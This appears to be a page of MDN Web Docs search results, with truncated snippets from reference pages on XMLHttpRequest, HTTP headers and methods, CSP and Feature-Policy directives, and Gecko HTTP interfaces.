... when there is no profile the new http cache works, but everything is stored only in memory not obeying any particular limits.
...And 2 more matches
nsIHTTPHeaderListener
modules/plugin/base/public/nsihttpheaderlistener.idlscriptable this interface allows plugin authors to access http response headers after issuing an nsipluginhost.geturl or nsipluginhost.posturl call.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: the plugin author must provide an instance to {geturl,posturl}() that implements both nsipluginstreamlistener and nsihttpheaderlistener.
...the browser will then qi this streamlistener to see if it implements nsihttpheaderlistener.
...And 2 more matches
nsIHttpUpgradeListener
netwerk/protocol/http/nsihttpchannelinternal.idlscriptable the callback interface for nsihttpchannelinternal.httpupgrade; this is called when an http protocol upgrade is finished.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this is used, for example, by websockets in order to upgrade an http channel to use the websocket protocol.
... method overview void ontransportavailable(in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout); methods ontransportavailable() called when an http protocol upgrade attempt is completed, passing in the information needed by the protocol handler to take over the channel that is no longer being used by http.
...And 2 more matches
XMLHttpRequest.getAllResponseHeaders() - Web APIs
the xmlhttprequest method getallresponseheaders() returns all the response headers, separated by crlf, as a string, or returns null if no response has been received.
... syntax var headers = xmlhttprequest.getallresponseheaders(); parameters none.
... example this example examines the headers in the request's readystatechange event handler, xmlhttprequest.onreadystatechange.
...And 2 more matches
XMLHttpRequest.overrideMimeType() - Web APIs
the xmlhttprequest method overridemimetype() specifies a mime type other than the one provided by the server to be used instead when interpreting the data being transferred in a request.
... syntax xmlhttprequest.overridemimetype(mimetype) parameters mimetype a domstring specifying the mime type to use instead of the one specified by the server.
... if the server doesn't specify a type, xmlhttprequest assumes "text/xml".
...And 2 more matches
XMLHttpRequest.response - Web APIs
the xmlhttprequest response property returns the response's body content as an arraybuffer, blob, document, javascript object, or domstring, depending on the value of the request's responsetype property.
... syntax var body = xmlhttprequest.response; value an appropriate object based on the value of responsetype.
...see html in xmlhttprequest to learn more about using xhr to fetch html content.
...And 2 more matches
XMLHttpRequest.responseText - Web APIs
the read-only xmlhttprequest property responsetext returns the text received from a server following a request being sent.
... syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
... you know the entire content has been received when the value of readystate becomes xmlhttprequest.done (4), and status becomes 200 ("ok").
...And 2 more matches
XMLHttpRequest.timeout - Web APIs
the xmlhttprequest.timeout property is an unsigned long representing the number of milliseconds a request can take before automatically being terminated.
...timeout shouldn't be used for synchronous xmlhttprequests requests used in a document environment or it will throw an invalidaccesserror exception.
... example var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); xhr.timeout = 2000; // time in milliseconds xhr.onload = function () { // request finished.
...And 2 more matches
MIME types (IANA media types) - HTTP
with the exception of multipart/form-data, used in the post method of html forms, and multipart/byteranges, used with 206 partial content to send part of a document, http doesn't handle multipart documents in a special way: the message is transmitted to the browser (which will likely show a "save as" window if it doesn't know how to display the document).
...examples include multipart/form-data (for data produced using the formdata api) and multipart/byteranges (defined in rfc 7233: 5.4.1 and used with http's 206 "partial content" response returned when the fetched data is only part of the content, such as is delivered using the range header).
...each part is its own entity with its own http headers, content-disposition, and content-type for file uploading fields.
...And 2 more matches
Reason: CORS request did not succeed - HTTP
the http request which makes use of cors failed because the http connection failed at either the network or protocol level.
... other possible causes include: trying to access an https resource that has an invalid certificate will cause this error.
... trying to access an http resource from a page with an https origin will also cause this error.
...And 2 more matches
Connection - HTTP
connection-specific header fields such as connection and keep-alive are prohibited in http/2.
... chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response which contains them.
...this is the default on http/1.0 requests.
...And 2 more matches
CSP: child-src - HTTP
the http content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: default-src - HTTP
the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: font-src - HTTP
the http content-security-policy (csp) font-src directive specifies valid sources for fonts loaded using @font-face.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: frame-src - HTTP
the http content-security-policy (csp) frame-src directive specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: img-src - HTTP
the http content-security-policy img-src directive specifies valid sources of images and favicons.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: manifest-src - HTTP
the http content-security-policy: manifest-src directive specifies which manifest can be applied to the resource.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: media-src - HTTP
the http content-security-policy (csp) media-src directive specifies valid sources for loading media using the <audio> and <video> elements.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: object-src - HTTP
the http content-security-policy object-src directive specifies valid sources for the <object>, <embed>, and <applet> elements.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: prefetch-src - HTTP
the http content-security-policy (csp) prefetch-src directive specifies valid resources that may be prefetched or prerendered.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: report-uri - HTTP
the deprecated http content-security-policy (csp) report-uri directive instructs the user agent to report attempts to violate the content security policy.
... these violation reports consist of json documents sent via an http post request to the specified uri.
...so for compatibility with current browsers while also adding forward compatibility when browsers get report-to support, you can specify both report-uri and report-to: content-security-policy: ...; report-uri https://endpoint.com; report-to groupname in browsers that support report-to, the report-uri directive will be ignored.
...And 2 more matches
CSP: style-src - HTTP
the http content-security-policy (csp) style-src directive specifies valid sources for stylesheets.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
CSP: worker-src - HTTP
the http content-security-policy (csp) worker-src directive specifies valid sources for worker, sharedworker, or serviceworker scripts.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 2 more matches
Feature-Policy: fullscreen - HTTP
the http feature-policy header fullscreen directive controls whether the current document is allowed to use element.requestfullscreen().
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
...wants to disable the fullscreen api within all browsing contexts except for its own origin and those whose origin is https://example.com.
...And 2 more matches
Feature-Policy: geolocation - HTTP
the http feature-policy header geolocation directive controls whether the current document is allowed to use the geolocation interface.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
...wants to disable the geolocation api within all browsing contexts except for its own origin and those whose origin is https://example.com.
...And 2 more matches
Pragma - HTTP
WebHTTPHeadersPragma
the pragma http/1.0 general header is an implementation-specific header that may have various effects along the request-response chain.
... it is used for backwards compatibility with http/1.0 caches where the cache-control http/1.1 header is not yet present.
... note: pragma is not specified for http responses and is therefore not a reliable replacement for the general http/1.1 cache-control header, although it does behave the same as cache-control: no-cache, if the cache-control header field is omitted in a request.
...And 2 more matches
Public-Key-Pins-Report-Only - HTTP
the http public-key-pins-report-only response header was used to send reports of pinning violation to the report-uri specified in the header but, unlike public-key-pins still allows browsers to connect to the server if the pinning is violated.
... for more information, see the public-key-pins header reference page and the http public key pinning article.
... example public-key-pins-report-only: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; includesubdomains; report-uri="https://www.example.org/hpkp-report" in this example, pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws=" pins the server's public key used in production.
...And 2 more matches
Public-Key-Pins - HTTP
the http public-key-pins response header used to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates, however, it has been removed from modern browsers and is no longer supported.
... for more information, see the http public key pinning article.
... public-key-pins: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; max-age=5184000; includesubdomains; report-uri="https://www.example.org/hpkp-report" in this example, pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws=" pins the server's public key used in production.
...And 2 more matches
SameSite cookies - HTTP
the samesite attribute of the set-cookie http response header allows you to declare if your cookie should be restricted to a first-party or same-site context.
... set-cookie: flavor=choco; samesite=none; secure a secure cookie is only sent to the server with an encrypted request over the https protocol.
... note that insecure sites (http:) can't set cookies with the secure directive.
...And 2 more matches
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
... also, by default, prefetching of embedded link hostnames is not performed on documents loaded over https.
... on firefox, this can be changed by setting the network.dns.disableprefetchfromhttps preference to false.
...And 2 more matches
CONNECT - HTTP
WebHTTPMethodsCONNECT
the http connect method starts two-way communications with the requested resource.
... for example, the connect method can be used to access websites that use ssl (https).
... the client asks an http proxy server to tunnel the tcp connection to the desired destination.
...And 2 more matches
OPTIONS - HTTP
WebHTTPMethodsOPTIONS
the http options method requests permitted communication options for a given url or server.
... request has body no successful response has body yes safe yes idempotent yes cacheable no allowed in html forms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the curl command-line program to issue an options request: curl -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no content allow: options, get, head, post cache-control: max-age=604800 date: thu, 13 oct 2016 11:45:00 gmt server: eos (lax004/2813) preflighted reque...
... options /resources/post-here/ http/1.1 host: bar.example accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip,deflate connection: keep-alive origin: https://foo.example access-control-request-method: post access-control-request-headers: x-pingother, content-type the server now can respond if it will accept a request under these circumstances.
...And 2 more matches
POST - HTTP
WebHTTPMethodsPOST
the http post method sends data to the server.
... text/plain when the post request is sent via a method other than an html form — like via an xmlhttprequest — the body can take any type.
... as described in the http 1.1 specification, post is designed to allow a uniform method to cover the following functions: annotation of existing resources posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles; adding a new user through a signup modal; providing a block of data, such as the result of submitting a form, to a data-handling process; extending a database through an append operation.
...And 2 more matches
HTTP Class Overview - Archive of obsolete content
this document provides an overview of the classes used by the mozilla http implementation.
... it's meant as a guide to developers wishing to understand or extend the mozilla http implementation.
... nshttphandler implements nsiprotocolhandler manages preferences owns the authentication cache holds references to frequently used services nshttpchannel implements nsihttpchannel talks to the cache initiates http transactions processes http response codes intercepts progress notifications nshttpconnection implements nsistreamlistener & nsistreamprovider talks to the socket transport service feeds data to its transaction object routes progress notifications nshttpconnectioninfo identifies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request...
... buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs common header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document information author(s): darin fisher last updated date: august 5, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
XHR (XMLHttpRequest) - MDN Web Docs Glossary: Definitions of Web-related terms
xmlhttprequest (xhr) is a javascript api to create ajax requests.
... learn more general knowledge xmlhttprequest on wikipedia synchronous vs.
... asynchronous communications technical information the xmlhttprequest object.
... the documentation on mdn about how to use xmlhttprequest.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
here is a an example javascript function that prints the security details of an xmlhttprequest sent over ssl.
... the function is passed the channel property of an xmlhttprequest to extract the following information: was the connection secure?
...anization + "\n"); dump("\tsha1 fingerprint = " + cert.sha1fingerprint + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid until " + validity.notaftergmt + "\n"); } } catch(err) { alert(err); } } function test(url) { var req = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('get', url, true); req.addeventlistener("error", function(e) { var error = createtcperrorfromfailedxhr(req); dumpsecurityinfo(req, error); }, false); req.onload = function(e) { dumpsecurityinfo(req); }; req.send(); } then test("https://addons.mozilla.org"); produced the following output in my console: connection stat...
... sha1 fingerprint = f4:99:64:18:6b:7d:c8:fa:c0:0c:2e:a9:61:77:28:67:13:c4:97:7b valid from 7/14/2011 0:00:00 am valid until 8/20/2013 23:59:59 pm and here is the output of making an https request to a server that uses an expired certificate: test("https://www.appliancetherapy.com/"); note that the security state has become "insecure" now and there is an error name reported: connection status: failed: securityexpiredcertificateerror security info: security state: insecure common name (cn) = www.appliancetherapy.com organisation = appliance therapy group...
XMLHttpRequest.abort() - Web APIs
the xmlhttprequest.abort() method aborts the request if it has already been sent.
... when a request is aborted, its readystate is changed to xmlhttprequest.unsent (0) and the request's status code is set to 0.
... syntax xmlhttprequest.abort() parameters none.
... var xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.send(); if (oh_noes_we_need_to_cancel_right_now_or_else) { xhr.abort(); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.getResponseHeader() - Web APIs
the xmlhttprequest method getresponseheader() returns the string containing the text of a particular header's value.
... syntax var myheader = xmlhttprequest.getresponseheader(headername); parameters headername a bytestring indicating the name of the header you want to return the text value of.
...if the content-type isn't the desired value, the xmlhttprequest is canceled by calling abort().
... var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'getresponseheader()' in that specification.
XMLHttpRequest.onreadystatechange - Web APIs
the xmlhttprequest.onreadystatechange property contains the event handler to be called when the readystatechange event is fired, that is every time the readystate property of the xmlhttprequest changes.
... syntax xmlhttprequest.onreadystatechange = callback; values callback is the function to be executed when the readystate changes.
... examples const xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.onreadystatechange = function () { // in local files, status is 0 upon success in mozilla firefox if(xhr.readystate === xmlhttprequest.done) { var status = xhr.status; if (status === 0 || (status >= 200 && status < 400)) { // the request has been completed successfully console.log(xhr.responsetext); } else { // oh no!
... } } }; xhr.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.open() - Web APIs
the xmlhttprequest method open() initializes a newly-created request, or re-initializes an existing one.
... syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc.
... ignored for non-http(s) urls.
... specifications specification status comment xmlhttprequestthe definition of 'open()' in that specification.
XMLHttpRequest.readyState - Web APIs
the xmlhttprequest.readystate property returns the state an xmlhttprequest client is in.
... unsent the xmlhttprequest client has been created, but the open() method hasn't been called yet.
... example var xhr = new xmlhttprequest(); console.log('unsent', xhr.readystate); // readystate will be 0 xhr.open('get', '/api', true); console.log('opened', xhr.readystate); // readystate will be 1 xhr.onprogress = function () { console.log('loading', xhr.readystate); // readystate will be 3 }; xhr.onload = function () { console.log('done', xhr.readystate); // readystate will be 4 }; xhr.send(null); specification...
...s specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.responseXML - Web APIs
the xmlhttprequest.responsexml read-only property returns a document containing the html or xml retrieved by the request; or null if the request was unsuccessful, has not yet been sent, or if the data can't be parsed as xml or html.
... if the server doesn't specify the content-type as "text/xml" or "application/xml", you can use xmlhttprequest.overridemimetype() to parse it as xml anyway.
... syntax var data = xmlhttprequest.responsexml; value a document from parsing the xml or html received using xmlhttprequest, or null if no data was received or if the data is not xml/html.
... example var xhr = new xmlhttprequest; xhr.open('get', '/server'); // if specified, responsetype must be empty string or "document" xhr.responsetype = 'document'; // force the response to be parsed as xml xhr.overridemimetype('text/xml'); xhr.onload = function () { if (xhr.readystate === xhr.done && xhr.status === 200) { console.log(xhr.response, xhr.responsexml); } }; xhr.send(); specifications specification status comment xmlhttprequestthe definition of 'responsexml' in that specification.
XMLHttpRequest.sendAsBinary() - Web APIs
the obsolete xmlhttprequest method sendasbinary() is a variant of the send() method that sends binary data.
... syntax xmlhttprequest.sendasbinary(binarystring); parameters binarystring a domstring which encodes the binary content to be sent.
... /*\ |*| |*| :: xmlhttprequest.prototype.sendasbinary() polyfill :: |*| |*| https://developer.mozilla.org/docs/dom/xmlhttprequest#sendasbinary() |*| \*/ if (!xmlhttprequest.prototype.sendasbinary) { xmlhttprequest.prototype.sendasbinary = function (sdata) { var nbytes = sdata.length, ui8data = new uint8array(nbytes); for (var nidx = 0; nidx < nbytes; nidx++) { ui8data[nidx] = sdata.charcodeat(nidx) & 0xff; ...
...however, on google chrome, when you try to send an arraybuffer, the following warning message will appear: arraybuffer is deprecated in xmlhttprequest.send().
XMLHttpRequest.upload - Web APIs
the xmlhttprequest upload property returns an xmlhttprequestupload object that can be observed to monitor an upload's progress.
... it is an opaque object, but because it's also an xmlhttprequesteventtarget, event listeners can be attached to track its process.
... timeout ontimeout the upload timed out because a reply did not arrive within the time interval specified by the xmlhttprequest.timeout.
... specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.withCredentials - Web APIs
the xmlhttprequest.withcredentials property is a boolean that indicates whether or not cross-site access-control requests should be made using credentials such as cookies, authorization headers or tls client certificates.
...xmlhttprequest from a different domain cannot set cookie values for their own domain unless withcredentials is set to true before making the request.
... note: xmlhttprequest responses from a different domain cannot set cookie values for their own domain unless withcredentials is set to true before making the request, regardless of access-control- header values.
... example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onabort - Web APIs
the xmlhttprequesteventtarget.onabort is the function called when an xmlhttprequest transaction is aborted, such as when the xmlhttprequest.abort() function is called.
... syntax xmlhttprequest.onabort = callback; values callback is the function to be executed when the transaction is aborted.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onabort = function () { console.log('** the request was aborted'); }; xmlhttp.send(); //..
... xmlhttp.abort(); // this will invoke our onabort handler above specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onload - Web APIs
the xmlhttprequesteventtarget.onload is the function called when an xmlhttprequest transaction completes successfully.
... syntax xmlhttprequest.onload = callback; values callback is the function to be executed when the request completes successfully.
...the context) is the same xmlhttprequest this callback is related to.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onload = function () { // do something with the retrieved data ( found in xmlhttp.response ) }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestResponseType - Web APIs
the xmlhttprequestresponsetype type is an enumerated set of strings which are used to specify the type of data contained in the response of an xmlhttprequest.
...see html in xmlhttprequest to learn more about using xhr to fetch html content.
... deprecated values moz-chunked-arraybuffer a firefox-only value which instructs xmlhttprequest to deliver arraybuffer objects containing chunks of the incoming data.
... specifications specification status comment xmlhttprequest unknown live standard, latest version ...
Authorization - HTTP
the http authorization request header contains the credentials to authenticate a user agent with a server, usually, but not necessarily, after the server has responded with a 401 unauthorized status and the www-authenticate header.
...prefer to use https in conjunction with basic authentication.
... examples authorization: basic ywxhzgrpbjpvcgvuc2vzyw1l see also http authentication for examples on how to configure apache or nginx servers to password protect your site with http basic authentication.
... specifications specification title rfc 7235, section 4.2: authorization http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Clear-Site-Data - HTTP
the browser cache, see http caching) for the origin of the response url.
...http authentication credentials are also cleared out.
...so https://example.com as well as https://stage.example.com, will have cookies cleared.
...you can achieve that by adding the clear-site-data header when sending the page confirming that logging out from the site has been accomplished successfully (https://example.com/logout, for example): clear-site-data: "cache", "cookies", "storage", "executioncontexts" clearing cookies if this header is delivered with the response at https://example.com/clear-cookies, all cookies on the same domain https://example.com and any subdomains (like https://stage.example.com, etc), will be cleared out.
Content-Location - HTTP
if the url for a particular document is at https://example.com/documents/foo, the site could return different urls for content-location depending on the request's accept header: request header response header accept: application/json, text/json content-location: /documents/foo.json accept: application/xml, text/xml content-location: /documents/foo.xml accept: text/plain, text/* content-locat...
... pointing to a new document (http 201 created) say you're creating a new blog post through a site's api: put /new/post host: example.com content-type: text/markdown # my first blog post!
...the server specifies where the new post is with content-location: http/1.1 201 created content-type: text/plain; charset=utf-8 content-location: /my-first-blog-post ✅ success!
... http/1.1 200 ok content-type: text/html; charset=utf-8 content-location: /my-receipts/38 <!doctype html> (lots of html…) <p>you sent $38.00 to exampleuser.</p> (lots more html…) specifications specification title rfc 7231, section 3.1.4.2: content-location hypertext transfer protocol (http/1.1): semantics and content ...
CSP: block-all-mixed-content - HTTP
the http content-security-policy (csp) block-all-mixed-content directive prevents loading any assets over http when the page uses https.
...if the former is set, the latter does nothing, so set one directive or the other – not both, unless you want to force https on older browsers that do not force it after a redirect to http.
... syntax content-security-policy: block-all-mixed-content; examples content-security-policy: block-all-mixed-content; <meta http-equiv="content-security-policy" content="block-all-mixed-content"> to disallow http assets on a more granular level, you can also set individual directives to https:.
... for example, to disallow nonsecure http images: content-security-policy: img-src https: specifications specification status comment mixed contentthe definition of 'block-all-mixed-content' in that specification.
CSP: script-src-attr - HTTP
the http content-security-policy (csp) script-src-attr directive specifies valid sources for javascript inline event handlers.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... <scheme-source> a scheme such as http: or https:.
CSP: script-src-elem - HTTP
the http content-security-policy (csp) script-src-elem directive specifies valid sources for javascript <script> elements, but not inline script event handlers like onclick.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... <scheme-source> a scheme such as http: or https:.
CSP: style-src-attr - HTTP
the http content-security-policy (csp) style-src-attr directive specifies valid sources for inline styles applied to individual dom elements.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... <scheme-source> a scheme such as http: or https:.
CSP: style-src-elem - HTTP
the http content-security-policy (csp) style-src-elem directive specifies valid sources for stylesheets <style> elements and <link> elements with rel="stylesheet".
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... <scheme-source> a scheme such as http: or https:.
Date - HTTP
WebHTTPHeadersDate
the date general http header contains the date and time at which the message was originated.
... note that date is listed in the forbidden header names in the fetch spec - so this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
...http dates are always expressed in gmt, never in local time.
... examples date: wed, 21 oct 2015 07:28:00 gmt new date().toutcstring() // "mon, 09 mar 2020 08:13:24 gmt" specifications specification title rfc 7231, section 7.1.1.2: date hypertext transfer protocol (http/1.1): semantics and content ...
Feature-Policy - HTTP
the http feature-policy header provides a mechanism to allow and deny the use of browser features in its own frame, and in content within any <iframe> elements in the document.
... <origin(s)>: the feature is allowed for specific origins (for example, https://example.com).
... sync-xhr controls whether the current document is allowed to make synchronous xmlhttprequest requests.
...it can do so by delivering the following http response header to define a feature policy: feature-policy: microphone 'none'; geolocation 'none' by specifying the 'none' keyword for the origin list, the specified features will be disabled for all browsing contexts (this includes all iframes), regardless of their origin.
Forwarded - HTTP
header type request header forbidden header name no syntax forwarded: by=<identifier>;for=<identifier>;host=<host>;proto=<http|https> directives <identifier> an identifier disclosing the information that is altered or lost when using a proxy.
... proto=<http|https> indicates which protocol was used to make the request (typically "http" or "https").
... examples using the forwarded header forwarded: for="_mdn" # case insensitive forwarded: for="[2001:db8:cafe::17]:4711" # separated by semicolon forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 # multiple values can be appended using a comma forwarded: for=192.0.2.43, for=198.51.100.17 transitioning from x-forwarded-for to forwarded if your application, server, or proxy supports the standardized forwarded header, the x-forwarded-for header can be replaced.
... x-forwarded-for: 123.34.567.89 forwarded: for=123.34.567.89 x-forwarded-for: 192.0.2.43, "[2001:db8:cafe::17]" forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]" specifications specification title rfc 7239, section 4: forwarded forwarded http extension ...
Host - HTTP
WebHTTPHeadersHost
if no port is included, the default port for the service requested (e.g., 443 for an https url, and 80 for an http url) is implied.
... a host header field must be sent in all http/1.1 request messages.
... a 400 (bad request) status code may be sent to any http/1.1 request message that lacks a host header field or that contains more than one.
... examples host: developer.cdn.mozilla.net specifications specification title rfc 7230, section 5.4: host hypertext transfer protocol (http/1.1): message syntax and routing ...
Keep-Alive - HTTP
connection-specific header fields such as connection and keep-alive are prohibited in http/2.
... chrome and firefox ignore them in http/2 responses, but safari conforms to the http/2 spec requirements and won’t load any response which contains them.
...an http pipeline can use it to limit the pipelining.
... examples a response containing a keep-alive header: http/1.1 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: thu, 11 aug 2016 15:23:13 gmt keep-alive: timeout=5, max=1000 last-modified: mon, 25 jul 2016 04:32:39 gmt server: apache (body) specifications specification title http keep-alive header keep-alive header (ietf internet draft) rfc 7230, appendix a.1.2: keep-alive hypertext transfer protocol (http/1.1): message syntax and routing ...
Referer - HTTP
WebHTTPHeadersReferer
see http referer on wikipedia for more details.
... an unsecured http request is used and the referring page was received with a secure protocol (https).
..."username:password" in "https://username:password@example.com/foo/bar/") are not included.
... examples referer: https://developer.mozilla.org/docs/web/javascript specifications specification title rfc 7231, section 5.5.2: referer hypertext transfer protocol (http/1.1): semantics and content ...
Retry-After - HTTP
the retry-after response http header indicates how long the user agent should wait before making a follow-up request.
... header type response header forbidden header name no syntax retry-after: <http-date> retry-after: <delay-seconds> directives <http-date> a date after which to retry.
... see the date header for more details on the http date format.
... retry-after: wed, 21 oct 2015 07:28:00 gmt retry-after: 120 specifications specification title rfc 7231, section 7.1.3: retry-after hypertext transfer protocol (http/1.1): semantics and content ...
Want-Digest - HTTP
the want-digest http header is primarily used in a http request, to ask the responder to provide a digest of the requested resource using the digest response header.
... examples want-digest: sha-256 want-digest: sha-512;q=0.3, sha-256;q=1, md5;q=0 basic operation the sender provides a list of digests which it is prepared to accept, and the server uses one of them: request: get /item want-digest: sha-256;q=0.3, sha;q=1 response: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= unsupported digests the server does not support any of the requested digest algorithms, so uses a different algorithm: request: get /item want-digest: sha;q=1 response: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= the server does not support any of the requested digest algorith...
...ms, so responds with a 400 error and includes another want-digest header, listing the algorithms that it does support: request: get /item want-digest: sha;q=1 response: http/1.1 400 bad request want-digest: sha-256, sha-512 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
... when released, the "resource digests for http" draft therefore will obsolete rfc 3230 and will update the standard to be consistent.
Warning - HTTP
WebHTTPHeadersWarning
note: the warning header is soon to be deprecated; see warning (https://github.com/httpwg/http-core/issues/139) and warning: header & stale-while-revalidate (https://github.com/whatwg/fetch/issues/913) for more details.
... the warning general http header contains information about possible problems with the status of the message.
... warning codes the http warn codes registry at iana.org defines the namespace for warn codes.
... 299 miscellaneous persistent warning same as 199, but indicating a persistent warning examples warning: 110 anderson/1.3.37 "response is stale" date: wed, 21 oct 2015 07:28:00 gmt warning: 112 - "cache down" "wed, 21 oct 2015 07:28:00 gmt" specifications specification title rfc 7234, section 5.5: warning hypertext transfer protocol (http/1.1): caching ...
X-Forwarded-Proto - HTTP
the x-forwarded-proto (xfp) header is a de-facto standard header for identifying the protocol (http or https) that a client used to connect to your proxy or load balancer.
... a standardized version of this header is the http forwarded header.
... header type request header forbidden header name no syntax x-forwarded-proto: <protocol> directives <protocol> the forwarded protocol (http or https).
... examples x-forwarded-proto: https other non-standard forms: # microsoft front-end-https: on x-forwarded-protocol: https x-forwarded-ssl: on x-url-scheme: https specifications not part of any current specification.
